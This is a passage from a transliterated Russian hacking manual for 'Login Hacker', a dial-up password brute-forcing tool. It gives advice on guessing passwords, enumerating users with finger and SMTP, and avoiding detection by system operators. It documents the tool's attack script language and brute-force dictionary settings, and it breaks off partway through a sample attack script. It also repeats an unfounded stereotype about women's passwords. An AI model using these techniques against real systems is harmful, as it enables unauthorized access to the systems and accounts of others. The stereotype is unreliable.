' v staryh telekommunikacionnyh sistemah, v kotoryh chislo popytok zaregistrirovat'sya neogranicheno. Dlya chego nuzhen vzlom? Konechno, dlya togo, chtoby vojti v sistemu. S drugoj storony, avtor etoj programmy zapreshchaet pol'zovat'sya ej dlya polucheniya kontrolya nad vsej sistemoj. |ta programma prednaznachena prezhde vsego dlya teh, kto hochet poluchit' tol'ko odin ekaunt. Esli ego zarubyat, vy mozhete snova vospol'zovat'sya etoj programmoj. Tol'ko dlya etogo. Nikakogo kriminala. Mnogie paroli podbirayutsya legko. |to otnositsya k parolyam tak nazyvaemyh srednih pol'zovatelej. Podbirat' parol', sootvetstvuyushchij ekauntu sitemnogo administratora ves'ma-ves'ma chrevato. Naprimer, v Unix pri etom srabatyvaet special'naya sistema zashchity i voznikaet soobshchenie ob oshibke (auth.crit): CRITICAL. V sistemah NetWare podobnaya sistema nachinaet funkcionirovat' uzhe posle neudachnyh registracij. Pomnite, chto prakticheski vse sistemy pozvolyayut registrirovat'sya v kachestve sistemnogo administratora tol'ko s toj konsoli, kotoraya prinadlezhit serveru s glavnoj sistemoj. Poetomu nikogda ne vzlamyvajte rooturov, sistemnyh administratorov, krutyh menedzherov i drugih setepodobnyh lichnostej. Posle togo, kak vy vojdete v sistemu, poslednyaya stanet ves'ma uyazvimoj. Poprobujte poluchit' tekstovoj fajl s opisaniem modernizacii servera, zatem uznajte, kakie imeyutsya dyrki. Esli vozniknut problemy, popytajtes' poluchit' pomoshch' u znakomogo vam hakera. Kakih pol'zovatelej mozhno legko vzlamyvat'? Kak pravilo, paroli zhenshchin podbirayutsya legche (oni obychno ispol'zuyut gostevuyu sistemu registracii), chem paroli muzhchin. Poprobujte uznat' nastoyashchee imya pol'zovatelya, a uzhe zatem podobrat' ego login, zatem lyubye zhenskie imena, slova iz zhargona futbolistov, cifry 123, slova tipa "secret" i t.d. V sistemah Unix dlya togo, chtoby uznat' login pol'zovatelya, mozhno vospol'zovat'sya komandoj finger ili cherez komandu telnet votknut'sya v smtp-port i poluchit' polnye imena pol'zovatelej. Obychno, kogda osushchestvlena svyaz' s zaparolirovannoj sistemoj po telefonnoj linii, vyvoditsya priglashenie "PASSWORD:". ili voobshche ekran okazyvaetsya pustym. Vazhno: Dostatochno legko vzlomat' tak nazyvaemye Silent Carriers. Delaetsya vse posredstvom skripta programmy Login Hacker. Fajly programmy LOGINH.EXE Programma Login Hacker. LH-COMP.EXE Kompilyator dlya skriptov. X00.EXE Drajver Fossil. Ispol'zujte etot drajver pri vypolnenii programmy. Zagruzhaetsya drajver tak: X00.EXE E 2 FILE_ID.DIZ Kratkaya informaciya o programme. HISTORY.DOC Bibliografiya programmy. LOGINH.DOC Dokumentaciya. SCRIPT.DOC Dokumentaciya po skriptam. RESULT.DOC Rezul'tat v vide kodov, poluchennyj posle vypolneniya Login Hacker. UPDATE.DOC Informaciya o tom, kak mozhno obnovit' programmu. VH_BASE.DIC Osnovnoj slovar'. LH&SCAVE.TXT Primer skripta, kotoryj ispol'zuyutsya vmeste s Scavenger Dialer. THC&SCAV.SCR SCAVENGER Primer skripta, kotoryj nuzhen skriptu LH&SCAVE.TXT. REBREAK.SCR Primer Scavenger-skripta. On nuzhen dlya skripta LH&SCAVE.TXT. HANGUP.SCR Primer skripta, kotoryj nuzhen skriptu LH&SCAVE.TXT. PICKUP.SCR Primer skripta, kotoryj nuzhen skriptu LH&SCAVE.TXT. THC-LH_1.TXT Pervyj primer, pokazyvayushchij primenenie yazyka skriptov. THC-LH_2.TXT Vtoroj primer, pokazyvayushchij primenenie yazyka skriptov. DEC-SERV.TXT Horosho oprobovannyj skript (avtor: Tron). PASSCODE.TXT Drugoj skript (avtor: Mind Maniac). THC.NFO Ochen' vazhno! Vse, chto kasaetsya izvestnogo soobshchestva. LORE.COM Ispolnyaemyj skript dlya LORE BBS (avtor: Plasmoid). LOGINH.CFG Kofiguracionnyj fajl. LOGINH.LOG Sozdannyj konfiguracionnyj fajl. Esli konfiguracionnyj fajl uzhe sushchestvuet, to vse dannye budut dobavleny v ego konec. |tot fajl mozhet byt' opredelen v sootvetstvuyushchem skripte ili cherez samu programmu v Hacking Setup. LOGINH.SCR Skript, sozdannyj kompilyatorom LH-COMP.EXE. Tol'ko takie skripty mogut byt' zagruzheny v Login Hacker. LOGINH.HCK Esli proizoshlo vynuzhdennoe preryvanie programmy, to sozdaetsya etot fajl s podobnym rasshireniem. |tot fajl dannyh ukazyvaet na ustanovki, sootvetstvuyushchie pervonachal'nym dannym slovarya Brute Force Generator. Esli snova proizoshel sboj, to programma vydast soobshchenie s zaprosom o tom, nuzhno li ispol'zovat' dannye iz etogo fajla. |to daet vam vozmozhnost' prervat' sessiyu i ispol'zovat' predydushchie dannye v novoj atake. Pomnite, chto etot fajl ne yavlyaetsya skriptom. |to fajl registracii. Esli vy zapisyvaete v etot fajl dannye, poluchennye ot drugoj ataki, programma vse ravno poprosit vas ispol'zovat' tol'ko dannye predydushchej ataki. Komandy i parametry Pervaya i samaya glavnaya komanda programmy Login Hacker so vsemi vozmozhnymi parametrami vyglyadit tak: LOGINH.EXE [scriptfile]/[anything] [-Auto] [-Shh:mm] [Ehh:mm] [scriptfile] Avtomaticheski zagruzhaet skompilirovannyj skript scriptfile i ozhidaet vvoda klyucha dlya zagruzki. [anything] Esli etot parametr ne est' sushchestvuyushchij fajl, to programma zapuskaetsya bez demonstracionnyh soobshchenij. [-Auto] |tot parametr zagruzhaet skript bez dopolnitel'nogo klyucha. [-Shh:mm] Nachal'noe vremya, to est' poshla ataka. [-Ehh:mm] Vremya, v techenie kotorogo proishodilo skanirovanie. [-T] Zapusk skripta v rezhime proverki. To est' skript ne zagruzhaetsya v modem. [-D] Aktivizaciya rezhima otladki. V etom rezhime vy mozhete vybrat', kakuyu komandu nuzhno vypolnyat' dal'she. Vtoraya, ne menee vazhnaya komanda programmy Login Hacker so vsemi vozmozhnymi parametrami vyglyadit tak: LH-COMP.EXE [scriptfile] [scriptfile] Fajl, kotoryj budet podvergnut procedure kompilyacii. Ispol'zovanie Login Hacker Imeetsya pyat' opcij, neposredstvenno vliyayushchih na zapusk programmy: L Zagruzka otkompilirovannogo skripta i nachalo ataki. S Nastrojka modema i drugih osnovnyh parametrov programmy. T Terminal'nyj rezhim. I Nekotoraya informaciya. Q Vyhod. |kran v interaktivnom rezhime Rech' idet o tom momente, kogda proizoshla zagruzka i zapustilsya skript. Vse, chto idet iz modema, vyglyadit na vashem ekrane simvolami belogo cveta. Vse, chto zapisyvaetsya v fajl registracii, vyglyadit na vashem ekrane temno-sinimi simvolami. Kazhdoe soobshchenie sistemy, v tom chisle CONNECT, ALARM, HANGUP i ERROR dolzhno otobrazhat'sya sinim cvetom. Vse vysheskazannoe spravedlivo lish' v tom sluchae, esli vy aktivizirovali opciyu Print Logoutput to Screen too. Goryachie klavishi v rezhime On-line ESC Pauza ili vyhod iz menyu. F1 Poskazka. ALT-B Tak nazyvaemaya bazovaya klavisha. Pozvolyaet spryatat' ekran. ALT-C Ochistka ekrana. ALT-D Vklyuchit' ili vyklyuchit' rezhim otladki. ALT-H Vyzvat' menyu HangUp. ALT-I Otobrazit' na ekran statistiku i druguyu dopolnitel'nuyu informaciyu. ALT-J Prygnut' v DOS (ne pol'zujtes' etoj komandoj v beta-versiyah). ALT-L Osoboe menyu registracii. ALT-T Zagruzit' terminal'nyj rezhim. V etom rezhime ekran zavisaet, sistema nahoditsya pod vashim kontrolem. Vy mozhete proizvesti identifikaciyu posredstvom lyuboj iz vysheopisannyh klavish (krome ESC). CHtoby vyjti iz terminal'nogo rezhima, nazhmite ALT-T ili ALT-X. Opisanie yazyka skriptov Skripty -- eto izyuminka Login Hacker. Poetomu, esli vy nauchites' pisat' horoshie skripty, to smozhete vzlomat' prakticheski lyubuyu sistemu. Konechno eto ne otnositsya k novichkam ili tem hakeram, kotorye nikogda ne programmirovali dazhe na Bejsike. Skript dolzhen projti cherez kompilyator, kotoryj proveryaet ego na vshivost'. Poetomu vy mozhete byt' uvereny na 99%, chto v processe ataki ne proizojdet sboya po vine plohogo skripta. Itak, poehali. Vse, chto nachinaetsya s tochki s zapyatoj -- kommentarii. Vse, chto nachinaetsya s dvoetochiya -- perehod na sleduyushchuyu komandu. CHetyre stroki, nachinayushchiesya s simvola # opredelyayut operatory, s kotoryh nachinaetsya special'naya chast' skripta. Operator #DEFINE opredelyaet peremennuyu. Operator #NOCARRIER osushchestvlyaet avtomaticheskij vozvrat v programmu v sluchae avarijnogo preryvaniya sessii, to est' bez komandy hangup. Operator #START aktiviziruet zagruzku skripta. Operator #END zakanchivaet vypolnenie skripta. Vse peremennye yavlyayutsya neobyazatel'nymi. Isklyuchenie sostavlyayut peremennye logfile i phone_nr. Vy ne mozhete opredelyat' kakie-libo peremennye, za isklyucheniem teh, kotorye opisany nizhe. LOGFILE=FILENAME Opredelit' fajl registracii i mesto na diske dlya etogo fajla. |to vazhnaya peremennaya ispol'zuetsya pri napisanii lyubogo skripta. Naprimer: LOGFILE=C:\OUTPUT\NY-SYS5.LOG PHONE_NR=NUMBER |ta peremennaya ispol'zuetsya vmeste s komandoj DIAL. Ee telo mozhet sostoyat' kak iz cifr, tak i iz bukv. |to vtoraya peremennaya, kotoruyu vsegda ispol'zuyut pri napisanii skriptov. Naprimer: PHONE_NR=1-800-WHO-CARES INIT_MODEM=STRING Esli vash modem dolzhen rabotat' v rezhime Pulse Dialing, to pomestite pered telefonnym nomerom argument P. Esli zhe vash modem ne mozhet inicializirovat' strokovye dannye, pomestite pered sootvetstvuyushchim telefonnym nomerom komandu AT (esli eta komanda otststvuet v Hacker Setup). Naprimer: INIT_MODEM=Z (zdes' takzhe mozhet stoyat' argument AT Z) INIT_DATA=STRING Inicializaciya kanalov peredachi dannyh, v tom chisle stopovyh bitov i bitov chetnosti. Peremennaya ispol'zuetsya v tom sluchae, esli sootvetstvuyushchie parametry otsutstvuyut v Hacker Setup. V obshchem sluchae argumentami etoj peremennoj yavlyayutsya nabory simvolov 8N1 i 7E1, to est' argument vsegda dolzhen sostoyat' iz treh simvolov. Pervyj simvol -- eto cifry 7 ili 8, yavlyayushchiesya bitami dannyh. Vtoroj simvol mozhet byt' zapisan kak P (kontrol' po nechetnosti), E (kontrol' po chetnosti) ili N (ne kontrolirovat' bity dannyh). Tretij simvol sootvetstvuet situacii, kogda na pervyj startovyj bit nalagaetsya pervyj stopovyj bit: 7/8+E/P/N+1/2. DIAL_TRIES=NUMBER |ta peremennaya opredelyaet kolichestvo popytok nabora nomera v diapazone ot 0 do 65535. Nol' sootvetstvuet beskonechnomu naboru nomera. Esli nomer nabran, zagruzhaetsya HANGUP i ostal'naya chast' skripta. Naprimer: DIAL_TRIES=3 Standard : 0 Vazhno: Esli eta peremennaya otsutstvuet v skripte, to budut ispol'zovany ustanovki, sootvetstvuyushchie fajlu LOGINH.CFG. LOGIN_TRIES=NUMBER |ta peremennaya opredelyaet kolichestvo popytok vhoda v sistemu v diapazone ot 0 do 2300000000. Nol' sootvetstvuet neogranichennoj popytke zaregestrirovat'sya. Esli v fajle slovarya budet dostignut tak nazyvaemyj konec kadra (EOF), to skript avtomaticheski povesit trubku i prekratit sessiyu. Vremya, v techenie kotorogo budet osushchestvlyat'sya podbor registracionnyh dannyh zavisit ot komand pricepki SEND_NEXT_DIC, NEXT_DIC ili im analogichnyh dlya slovarya Brute Force Generator. Naprimer: LOGIN_TRIES=0 Standard: 0 Vazhno: Esli eta peremennaya otsutstvuet v skripte, to v atake budut ispol'zovany ustanovki, sootvetstvuyushchie fajlu LOGINH.CFG. DIC(NUMBER)=FILENAME Opredelit' slovar', kotoryj budet ispol'zovan sootvetstvuyushchim skriptom. Argument DIC ukazyvaet na sushchestvuyushchie fajly slovarej. Vy mozhete pricepit' k skriptu ot odnogo do treh slovarej. Ispol'zujte dlya etogo komandy Send_Next_DIC (1), Send_DIC (1) i Next_DIC (1). Naprimer: DIC(1)=C:\HACKING\DICTIONA.RY\BAD_PWS.DIC FROM_DIC(NUMBER)=STRING Opredelit' slovo, nachinaya s kotorogo mozhno ispol'zovat' slovar' v skripte. Naprimer: FROM_DIC(1)=Tracy BRUTE(NUMBER)=STRING,NUMBER,NUMBER,NUMBER Opredelit' slovar' Brute Force Generator dlya ispol'zovaniya v skripte. Brute Force Generator ves'ma gibok. CHetyre parametra slovarya Brute Force Generator razdeleny zapyatoj. Nizhe opisyvaetsya priemlemaya specifikaciya etih parametrov. 1 a=bukvy nizhnego registra. A=bukvy verhnego registra. 1=cifry. $=specsimvoly. ^=tak nazyvaemye kontroliruemye simvoly. Lyubye sinonimy ASCII. 2 |tot parametr soobshchaet skriptu, kakoe kolichestvo razlichnyh simvolov, sootvetstvuyushchih parametru 1 neobhodimo etomu skriptu. Kazhdoe sgenerirovannoe slovo, sootvetstvuyushchee parametru 1 vsegda imeetsya v takom zhe slove, sootvetstvuyushchim parametru 2. Simvol verhnego registra i odin nomer dopustimy. Velichina, sootvetstvuyushchaya nulyu nepriemlema. 3 Soobshchaet skriptu vozmozhnuyu minimal'nuyu dlinu dlya simvolov parolya, podobrannogo pri ispol'zovanii slovarya Brute Force Generator. 4 Vozmozhnaya maksimal'naya dlina dlya simvolov parolya, podobrannogo pri ispol'zovanii slovarya Brute Force Generator. Vazhno: Minimal'naya dlina simvolov ravna 1, maksimal'naya sootvetstvuet 12. Pomnite, chto vy mozhete ispol'zovat' v atake do treh slovarej Brute Force Generator. Ispol'zujte dlya etogo velikolepnye komandy privyazki Next_Brute(1), Send_Next_Brute(1) i Send_Brute(1). Naprimer: BRUTE(1)=a,1,1,6 V etom primere ispol'zuetsya pervyj parametr Brute Force Generator so sleduyushchimi dannymi: proveryat' tol'ko simvoly nizhnego registra; predpolozhit', chto pri podbore parolya v slovare prisutstvuet hotya by odin dejstvitel'nyj simvol; minimal'naya dlina registracionnogo slova ravna edinice, maksimal'naya -- shesti. FROM_BRUTE(number)=STRING Nachat' inicializaciyu so slovarem Brute Force Generator. Pri etom vazhno sleduyushchee: esli inicializaciya nachalas' s chetvertoj bukvy, a vy prosmatrivaete diapazon ot 1 do 8 bukvy, to diapazon ot 1 do 3 budet ignorirovat'sya, to est' snachala idet podbor aaaa, zatem aaab, zatem aaac i t.d. Naprimer: FROM_BRUTE(1)=2527 Sekciya #NOCARRIER |to budet vypolnyat'sya vsyakij raz, kogda vy ne ispol'zuete komandu HANGUP. Esli v skripte otsutstvuyut operatory GOTO (*START) ili GOTO (1), to dal'she on vypolnyat'sya ne budet. |to oznachaet, chto vy snova dolzhny nabrat' modemnyj nomer dostupa k sisteme. Poetomu prover'te ustanovki v DIAL_TRIES. Sekciya #START V etoj vazhnoj sekcii opisyvayutsya operatory, kotorye v dal'nejshem budut lomat' sistemu. LOG(STRING) Komanda LOG() zapisyvaet v fajl registracii nekotoruyu informaciyu. |to mozhet byt' lyuboj tekst, peremennye, pered kotorymi vsegda dolzhen stoyat' znak $ (znak dollara), a takzhe probely mezhdu slovami. V konec stroki kazhdaya komanda LOG() avtomaticheski pechataet vozvrat karetki. Primery: LOG(Beginning on $DATE * $TIME) Budet vyvedeno sleduyushchee: "Beginning on 24-12-96 * 23:00" LOG_(STRING) |tot primer analogichen vysheprivedennomu, za isklyucheniem togo, chto posle teksta otsutstvuet CRLF (End-Of-Line). :NUMBER Kazhdaya liniya, nachinayushchayasya s : (dvoetochiya) markiruetsya operatorom GOTO. Vy mozhete ispol'zovat' 240 markirovok v diapazone ot 1 do 240. Drugie nomera nepriemlemy. Perehod k nuzhnomu markeru osushchestvlyaetsya komandami peredachi upravleniya GOTO, GOSUB, CHECK4OUTPUT i CHECK4CARRIER. Naprimer: :1 V etom primere na sootvetstvuyushchuyu stroku vypolnyaetsya perehod k tochke s nomerom 1. GOTO(NUMBER) Peredat' upravlenie na markirovku perehoda. Vy mozhete takzhe osushchestvit' perehod komandami #START, #NOCARRIER i #END. Naprimer: GOTO(#END) (vypolnenie skripta zaversheno). GOSUB(NUMBER) S komandoj podstanovki GOSUB vy osushchestvlyaete perehod k sleduyushchej markirovke. Komanda GOSUB, kak pravilo ispolnyaetsya uzhe posle perehoda na sleduyushchij marker, to est' v tot moment, kogda komandy GOSUB i RETURN stolknutsya mezhdu soboj. Obratite vnimanie, chto vot takaya komanda nevozmozhna: GOSUB(#END). Naprimer: GOSUB(4) RETURN |to tak nazyvaemaya komanda vyhoda iz podprogrammy. Ispol'zuya etu komandu, vy mozhete vozvratit'sya k mestopolozheniyu poslednej vypolnennoj komandy GOSUB i prodolzhit' obychnoe vypolnenie skripta. Esli v bufernom registre komanda RETURN stalkivaetsya s nesushchestvuyushchim nachal'nym adresom GOSUB, to ona budet ignorirovat'sya. V odnom bufernom registre vy mozhete imet' do 255 podstanovok GOSUB. Naprimer: RETURN CHECK4CARRIER(NUMBER) Proverka modema na soedinenie s liniej, to est' proverka na nesushchuyu chastototu. Komanda budet vypolnyat'sya v sluchae otsutstviya perehoda k ukazannoj markirovke (perehod sootvetstvuet komande GOTO). Esli perehod obnaruzhen, to ustanavlivaetsya vnutrennee soedinenie s peremennoj TRUE dlya proverki na NO_CARRIERS. Vy mozhete takzhe osushchestvlyat' procedury perehoda k *NOCARRIER, *START i *END. Takzhe vozmozhno osushchestvit' proverku modema tol'ko na ON ili OFF. Esli komanda CHECK4CARRIER(ON) vypolnena s perehodom k markeru, otmechayushchemu obnaruzhenie linii, i, esli predstavlen NOT, to upravlenie peredaetsya na *NoCarrier. |ta komanda polezna tol'ko v tom sluchae, kogda vy okazyvaetes' na CHECK4CARRIER(OFF) i ne hotite ispol'zovat' komandu DIAL, chtoby soedinit'sya s udalennoj sistemoj (pozvol'te nabrat' nomer SCAVENGER DIALER). Primery: CHECK4CARRIER(#NOCARRIER) CHECK4CARRIER(5) CHECK4CARRIER(ON) CHECK4CARRIER(OFF) CHECK4OUTPUT(NUMBER) |to budet vypolneno podobno nizheopisannoj funkcii ALARM: Esli vyhodnoj signal (OUTPUT) modema obnaruzhen, to perehody budut osushchestvlyat'sya neposredstvenno k ukazannoj markirovke. Vy mozhete takzhe peredat' upravlenie k *NOCARRIER, *START i *END. Takzhe vozmozhno otklyuchit' proverku na OFF, to est' zablokirovat' ukazannuyu proverku vyhodnogo signala. Naprimer: CHECK4CARRIER(#NOCARRIER) CHECK4CARRIER(5) CHECK4CARRIER(OFF) DIAL Nabor nomera PHONE_NR. Esli s sistemoj net soedineniya, to snachala v modem budet poslana komanda: "Povesit' trubku!". Naprimer: DIAL HANGUP Podnyat' i opustit' trubku. Naprimer: HANGUP WAIT4STRING(NUMBER,STRING,NUMBER, COMMAND,STRING) V predstavlennom zdes' yazyke skriptov eto samaya vazhnaya komanda. Posle ee vypolneniya vyhodnoj signal modema budet nahodit'sya v sostoyanii ozhidaniya. V etot moment dolzhna nachat'sya zagruzka special'nogo slova. Esli stykovka osushchestvlena, to skript prodolzhaetsya, esli -- net, to posle tajmauta v modem budet otpravlena zadannaya posledovatel'nost', zatem -- vnov' tajmaut i, nakonec, idet vypolnenie komandy. Vazhno: Snachala komanda WAIT4STRING proveryaet tekushchuyu stroku s predstavlennym slovom. Sintaksis: WAIT4STRING(a,b,c,d,e). a Opredelit' tajmaut v diapazone ot 0 do 255 sekund. Nol' sootvetstvuet neogranichennomu ozhidaniyu, to est' zhdat' do teh por poka ne nastupit tak nazyvaemyj TOTAL TIMEOUT (skript perehodit v sekciyu #NOCARRIER v tom sluchae, esli dannye ne postupayut iz modema v techenie pyati minut). Esli nichego ne polucheno, to posledovatel'nost' v potoke dannyh raspoznaetsya snova, ili v kakoj-to moment nesushchaya chastota ob®yavlyaetsya poteryannoj. b Posledovatel'nost' dannyh, kotoraya budet poslana v modem posle tajmauta. c CHastota otkazov ili kolichestvo obshchego vremeni, v techenie kotorogo mozhet vypolnyat'sya fatal'naya komanda. Diapazon: ot 0 do 255 (0=nikogda, 1=pervyj raz). d Vypolnenie special'noj fatal'noj komandy. |to mogut byt' lyubye komandy, isklyuchaya: ALARM, WAIT4STRING i IF. e Posledovatel'nost' dannyh dlya ozhidaniya. Dannye chuvstvitel'ny k registru. Naprimer: WAIT4STRING(15,^M,2,GOTO(1),ogin:) V etom primere proishodit ozhidanie posledovatel'nosti ogin: v techenie 15 sekund. Esli stykovka ne poluchilas', a karetka vozvrashchaetsya v modem (^M), to komanda snova zhdet 15 sekund, poka vnov' ne naladitsya stykovka s posledovatel'nost'yu dannyh ogin:. Kak tol'ko istekut sleduyushchie 15 sekund, vyzyvaetsya fatal'naya komanda, chto oznachaet perehod k GOTO s metkoj pod nomerom 1. LOG_SESSION_ON Nachinaya s etogo punkta, vse dannye postupayushchie iz modema zapisyvayutsya v fajl registracii. Naprimer: LOG_SESSION_ON LOG_SESSION_OFF Esli soderzhimoe ekrana zapisano v fajl registracii, to k etomu punktu bol'she ne budet obrashchenij. Naprimer: LOG_SESSION_OFF SEND(STRING) Komanda SEND peredaet posledovatel'nost' dannyh v modem. CHerez etu komandu vy mozhete peresylat' v modem peremennye so znakom $. V konec posledovatel'nosti peredaetsya vozvrat karetki. Esli posledovatel'nost' dannyh ne zadana, to srazu osushchestvlyaetsya perehod na vozvrat karetki. Naprimer: SEND(echo Hacked you system Time: $TIME - Date: $DATE > HACKED.TXT) V dannom primere komanda SEND posylaet v modem sleduyushchuyu stroku: echo HAcked your system Time: 23:00 - Date: 24-12-95 > HACKED.TXT SEND_() |ta komanda analogichna vysheopisannoj, no ona ne posylaet v modem simvol vozvrata karetki ^M. Ee mozhno ispol'zovat', esli vam nuzhno zagruzit' v modem tol'ko odin simvol ili komandnyj rezhim +++. Primery: SEND_(n) SEND_(+++) SEND_NEXT_DIC(NUMBER) Naprimer: SEND_NEXT_DIC(1) SEND_DIC(NUMBER) Pereslat' tekushchij slovar' v modem. Naprimer: SEND_DIC(1) NEXT_DIC(NUMBER) Peremestit'sya na slovo, sootvetstvuyushchee argumentu NUMBER. Naprimer: NEXT_DIC(1) SEND_NEXT_BRUTE(NUMBER) Ispol'zuya Brute Force Generator, sgenerirovat' sleduyushchuyu dopustimuyu posledovatel'nost' i pereslat' ee v modem. Naprimer: SEND_NEXT_BRUTE(1) SEND_BRUTE(NUMBER) Pereslat' v modem tekushchuyu posledovatel'nost' dopustimyh dannyh iz slovarya Brute Force Generator. Naprimer: SEND_BRUTE(1) NEXT_BRUTE(NUMBER) Sgenerirovat' sleduyushchuyu dopustimuyu posledovatel'nost' dannyh iz slovarya Brute Force Generator. Naprimer: NEXT_BRUTE(1) IF VARIABLE OPERATOR STRING THEN COMMAND Komanda IF pervoj versii etoj programmy ne ochen' gibkaya. Sintaksis etoj komandy sleduyushchij: IF THEN Oznachaet ravnosil'nost' pri argumente =, bol'she ili men'she pri argumentah < ili > sootvetstvenno i peremennuyu soderzhashchuyu lyubuyu posledovatel'nost' slov pri argumente ~. Peremennye i posledovatel'nosti dolzhny byt' diskretnymi peremennymi. |ta komanda vypolnitsya v tom sluchae, esli budet soblyudeno uslovie TRUE. CHtoby ee ispol'zovat', prosmotrite spisok komand dlya operatora WAIT4STRING. Naprimer: IF STRING~ogin THEN GOTO(3) To est', esli tekushchaya stroka (STRING) soderzhit diskretnuyu (~) posledovatel'nost' dannyh ogin, to idti (GOTO) k markeru s nomerom 3. EXECUTE(STRING) Vypolnit' DOS-programmu, a zatem zapustit' skript. Vy dolzhny vklyuchit' peremennye v vypolnyaemu stroku. Vy takzhe dolzhny vypolnit' sootvetstvuyushchie vnutrennie komandy MS DOS. Pomnite, chto pered peremennoj mozhet stoyat' znak $ s vozmozhnymi probelami pozadi i vperedi samogo znaka. Vazhno: Esli vy hotite zapustit' programmu v to vremya, kogda po vashemu skriptu osushchestvleno soedinenie, to vy dolzhny ispol'zovat' drajver fossil. V protivnom sluchae vash komp'yuter zavisnet. Poetomu zapustite X00.EXE E 2 pered vypolneniem programmy Login Hacker. Vazhno: CHtoby vasha programma ne byla povrezhdena, predvaritel'no sohranite ee v kataloge otlichnom ot ishodnogo. Primery: EXECUTE(C:\SB\VPLAY C:\SB\VOC\HACKED.VOC) EXECUTE(COPY $LOGFILE C:\HACKED) ALARM(STRING,COMMAND) Opasno! Nazhimat' na spuskovoj kryuchok! Esli na udalennom komp'yutere srabotala sistema zashchity, to vy budete aktivny do teh por, poka ne vypolnitsya eta komanda. STRING Posledovatel'nost', dlya kotoroj osushchestvlyaetsya poisk dannyh s ih posleduyushchej peredachej v modem. COMMAND |ta komanda budet vypolnena posle stykovki. CHtoby ee ispol'zovat', prosmotrite listing komand dlya WAIT4STRING. Primenite etu komandu v tom sluchae, naprimer, esli vy vzlomali BBS, a sisop vas raskusil i zadaet glupye voprosy. Posle etoj komandy vy avtomaticheski prervete soedinenie i ostanovite vypolnenie skripta. Naprimer: ALARM(chat,GOTO(#END)) SET VARIABLE=STRING |toj komandoj vy opredelyaete peremennuyu v sekcii #START ili #NOCARRIER. Esli peremennaya yavlyaetsya staticheskoj peremennoj, to vy dolzhny eto otmetit'. Vy dolzhny ustanavlivat' tol'ko sleduyushchie peremennye: STRING, DIAL_TRIED, LOGIN_TRIED, S_TMP i D_TMP. Naprimer: SET D_TMP=3 Opredelit' staticheskuyu peremennuyu D_TMP v kachestve 3. INC(DIGIT_VARIABLE) Uvelichit' chislo ukazannoj peremennoj na 1. |ta komanda budet vypolnena lish' v tom sluchae, esli peremennaya posle dopolneniya ne nahoditsya v ukazannom diapazone. Imeyut silu sleduyushchie komandy: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES, LOGIN_TRIED i D_TMP. Naprimer: INC(D_TMP) DEC(DIGIT_VARIABLE) Umen'shit' chilo ukazannoj peremennoj na 1. |ta komanda budet vypolnena lish' v tom sluchae, esli peremennaya posle vychitaniya ne budet nahodit'sya vne ukazannogo diapazona. Imeyut silu sleduyushchie komandy: DIAL_TRIES, DIAL_TRIED, LOGIN_TRIES, LOGIN_TRIED i D_TMP. Naprimer: DEC(D_TMP) WAIT(NUMBER) Ozhidat' do teh por, poka idut sekundy, opredelennye argumentom NUMBER. Argument NUMBER sootvetstvuet lyubomu chislu v diapazone ot 1 do 65535. Naprimer: WAIT(10) (desyat' sekund) WAIT_(NUMBER) Ozhidat' do teh por, poka idut millisekundy, opredelennye argumentom NUMBER. Argument NUMBER sootvetstvuet lyubomu chislu v diapazone ot 1 do 65535. Naprimer: WAIT(500) (polsekundy) BEEP Sozdaet signal, pohozhij na legkij zvuk bibikalki! Peremennye i upravlyayushchie simvoly Rech' idet o peremennyh, kotorye mogut byt' ispol'zovany v komandah SEND() ili LOG(). Kak uzhe otmechalos', zakachka peremennyh v modem ili fajl registracii opredelyaetsya simvolom $ (dollara), postavlennym pered sootvetstvuyushchej peremennoj, i probelami. Vy mozhete ispol'zovat' #DEFINE lyubye specificheskie peremennye. Vam ih nuzhno tol'ko opredelit'. STRING Simvoly peresylayutsya iz modema v poslednyuyu stroku. STRING2 Poslednie 250 simvolov otpravlyayutsya iz modema. DIAL_TRIED Fakticheskie popytki nabora nomera. LOGIN_TRIED Fakticheskie popytki poluchit' imya i parol'. TIME Dejstvitel'noe vremya v chasah i minutah (dvoetochie propuskaetsya). Naprimer, TIME=1505 oznachaet 15:05. DATE Tekushchaya data v formate MMDD. Naprimer, DATE=503 oznachaet 3 maya. DIC(1) Tekushchij zagruzhennyj slovar' 1. BRUTE(2) Tekushchaya stroka slovarya Brute Force Generator 2. S_TMP Peremennaya stroka. Vy mozhete ee ispol'zovat', kak vam nravitsya. D_TMP Peremennaya dlya cifr. Vy mozhete ee ispol'zovat', kak vam nravitsya. V komandah IF i SET vy mozhete ispol'zovat' isklyuchitel'no vysheopisannye peremennye. Peremennye iz #DEFINE isklyuchayutsya. Tol'ko staticheskie peremennye i konstanty priemlemy dlya IF! Ne nuzhno takzhe ispol'zovat' znak $ pered peremennoj. |tot znak dopustim tol'ko v komandah SEND, LOG i WAIT4STRING. Naprimer: IF TIME>1215 THEN GOTO #END (otsoedinit'sya posle 12:15). LOG($DIC(3)) SEND($S_TMP) Teper' otnositel'no specsimvolov. Vy mozhete zapisyvat' lyubye upravlyayushchie simvoly vmeste s komandami LOG, SEND ili WAIT4STRING cherez znak ^ (shapochka). |to oznachaet, chto vy mozhete vvesti, naprimer, ^M ili napisat' ^^ ... okej?, ili ispol'zovat' lyubye konstrukcii ot ^A do ^Z plyus ^[ ^\ ^] i ^^. Naprimer: SEND_(^D) #DEFINE #NOCARRIER #START #END Soobshcheniya ob oshibkah Esli v processe kompilyacii vy poluchaete soobshchenie ob oshibke, to pomnite, chto v vashem rasporyazhenii imeetsya fajl .BAK. Prosmotrite i vnimatel'no izuchite soderzhimoe etogo fajla. Pri kompilirovanii skripta mozhet vsplyt' tol'ko dva soobshcheniya ob oshibke: WARNING Vy chto-to ne tak skompilirovali. Kompilyator v lyubom sluchae sozdast skript, kotoryj mozhet zapustit'sya bez vsyakih problem. |to soobshchenie, naprimer, mozhet byt' vydano, esli nevozmozhno najti ukazannyj slovar'. Vozmozhno, chto vy ne polnost'yu podgotovili kopiyu. ERROR |to kriticheskaya oshibka. V kakoj-to moment kompilyator prerval neobhodimuyu proceduru zaversheniya. Dlya ispravleniya etoj oshibki prover'te fajl s rasshireniem .BAK i vash ishodnyj fajl. Primer standartnogo skripta #DEFINE PHONE_NR=, LOGFILE=lh&scave.log DIC(1)=d:\project\hack\word\badpws.dic ; zadajte korrektnyj put' k vashemu slovaryu #NOCARRIER IF S_TMP=DEFINE THEN EXECUTE(scavenge.exe /nooutput /s hangup.scr) LOG(Carrier lost on $DATE at $TIME) LOG() GOTO(#START) #START SET S_TMP=UNDEFINE ;SET S_TMP=DEFINE HANGUP LOG_SESSION_ON SET STRING2= IF S_TMP=DEFINE THEN 